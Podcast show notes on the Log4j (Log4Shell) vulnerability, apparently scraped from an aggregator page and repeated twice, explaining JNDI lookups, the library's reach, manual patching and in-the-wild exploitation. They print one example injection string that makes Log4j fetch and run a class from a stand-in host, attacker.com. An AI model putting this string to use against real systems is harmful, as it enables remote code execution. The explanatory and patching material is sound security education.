Linux Daily
Live stream started
Also is a dependency in close to 7000 other open source projects - is even in the Mars rover’s Ingenuity helicopter
Is in most other ASF software products (Struts, Spark, Kafka, Solr etc)
Plus a huge number of other projects:
Elastic Search, LogStash, GrayLog2, Minecraft (client and server)
Initial reports were this was first seen being exploited in Minecraft
Not to mention:
Apple iCloud, Steam, Samsung Cloud storage and more
What is the vulnerability?
Vuln is in the JNDI (Java Naming and Directory Interface) feature of log4j
JNDI allows Java objects to be referenced externally then loaded and used at runtime
JNDI supports different protocols to fetch classes, including LDAP, even DNS etc
Log4j supports lookups on variables which can encode a JNDI resource
So if you log a variable such as ${jndi:ldap://attacker.com/malware} Log4j will perform the lookup via LDAP to retrieve the Java class at that URI and then execute it
Remote code execution attacks don’t get any easier than this - esp since Java is write once, run anywhere - there is no architectural specific issues like with natively comiler languages like C/C++ etc
As such wasn’t surprising to see this given the highest possible CVSS score of 10.0 by ASF
How widespread is this issue?
As mentioned earlier so many different pieces of software use Log4j and have Log4j embedded within them, it is not just sufficient to say update your Ubuntu packaged version of log4j - if you are running custom / proprietary Java applications they may likely contain their own copy of Log4j2 and you may have to go and patch that directly
How to patch manually?
The easiest option would be to get an updated version of the application from the original vendor
Failing that, could go looking for all log4j2 jar archives and then could extract these (jar’s are zips afterall) and remove the offending class directly (java/org/apache/logging/log4j/core/lookup/JndiLookup)
How is it being exploited?
Kids popping Minecraft servers to other adversaries using this for more traditional attacks like deploying cryptominers etc - but given how widespread this issue is and how much coverage it has gotten it is likely everyone and anyone is looking to actively exploit it
Expect we will still be hearing about this for a long time - whether due to more vulns in Log4j2 but also since there are so many devices running Java out there and that likely have Log4j as part of that - could be a long tail of devices which take a long time (or even never get patched)
Could be the basis of the next Mirai style botnet of compromised devices?
In all the drama, it turned out there was a second vuln which could still be triggered to cause a least a DoS or possible information leaking / exfiltration - so a second upstream release 2.16.0 was done - this is now in Ubuntu >= 20.04 LTS as well (USN-5197-1)
KnowledgeBase article for this on the Ubuntu wiki too if you want more specific information
Is in most other ASF software products (Struts, Spark, Kafka, Solr etc)
Plus a huge number of other projects:
Elastic Search, LogStash, GrayLog2, Minecraft (client and server)
Initial reports were this was first seen being exploited in Minecraft
Not to mention:
Apple iCloud, Steam, Samsung Cloud storage and more
What is the vulnerability?
Vuln is in the JNDI (Java Naming and Directory Interface) feature of log4j
JNDI allows Java objects to be referenced externally then loaded and used at runtime
JNDI supports different protocols to fetch classes, including LDAP, even DNS etc
Log4j supports lookups on variables which can encode a JNDI resource
So if you log a variable such as ${jndi:ldap://attacker.com/malware} Log4j will perform the lookup via LDAP to retrieve the Java class at that URI and then execute it
Remote code execution attacks don’t get any easier than this - esp since Java is write once, run anywhere - there is no architectural specific issues like with natively comiler languages like C/C++ etc
As such wasn’t surprising to see this given the highest possible CVSS score of 10.0 by ASF
How widespread is this issue?
As mentioned earlier so many different pieces of software use Log4j and have Log4j embedded within them, it is not just sufficient to say update your Ubuntu packaged version of log4j - if you are running custom / proprietary Java applications they may likely contain their own copy of Log4j2 and you may have to go and patch that directly
How to patch manually?
The easiest option would be to get an updated version of the application from the original vendor
Failing that, could go looking for all log4j2 jar archives and then could extract these (jar’s are zips afterall) and remove the offending class directly (java/org/apache/logging/log4j/core/lookup/JndiLookup)
How is it being exploited?
Kids popping Minecraft servers to other adversaries using this for more traditional attacks like deploying cryptominers etc - but given how widespread this issue is and how much coverage it has gotten it is likely everyone and anyone is looking to actively exploit it
Expect we will still be hearing about this for a long time - whether due to more vulns in Log4j2 but also since there are so many devices running Java out there and that likely have Log4j as part of that - could be a long tail of devices which take a long time (or even never get patched)
Could be the basis of the next Mirai style botnet of compromised devices?
In all the drama, it turned out there was a second vuln which could still be triggered to cause a least a DoS or possible information leaking / exfiltration - so a second upstream release 2.16.0 was done - this is now in Ubuntu >= 20.04 LTS as well (USN-5197-1)
KnowledgeBase article for this on the Ubuntu wiki too if you want more specific information
Linux Daily
Live stream started
Josh and Kurt talk about the epic failure that was episode 300. But this ties nicely into the topic of the day which is new ways to do things. The example is a new way to hold a controller when playing Tetris. There are always new tools and new ideas in security. Sometimes we have to abandon the old way because the new way to too good to ignore.
Linux Daily
Live stream started
Josh and Kurt talk about the same topic everyone is talking about, Log4j. This episode was recorded on the Wednesday after the first Log4j issue. We point out all the gaps and difficulties for the defenders. The situation has gotten worse since then.
Some of the biggest names in #opensource, #Linux, and #Unix world: Sebastian Hetze, Linus Torvalds, and Dennis Ritchie in conversation at the USENIX Annual Technical Conference in January 1997
Reed more
Reed more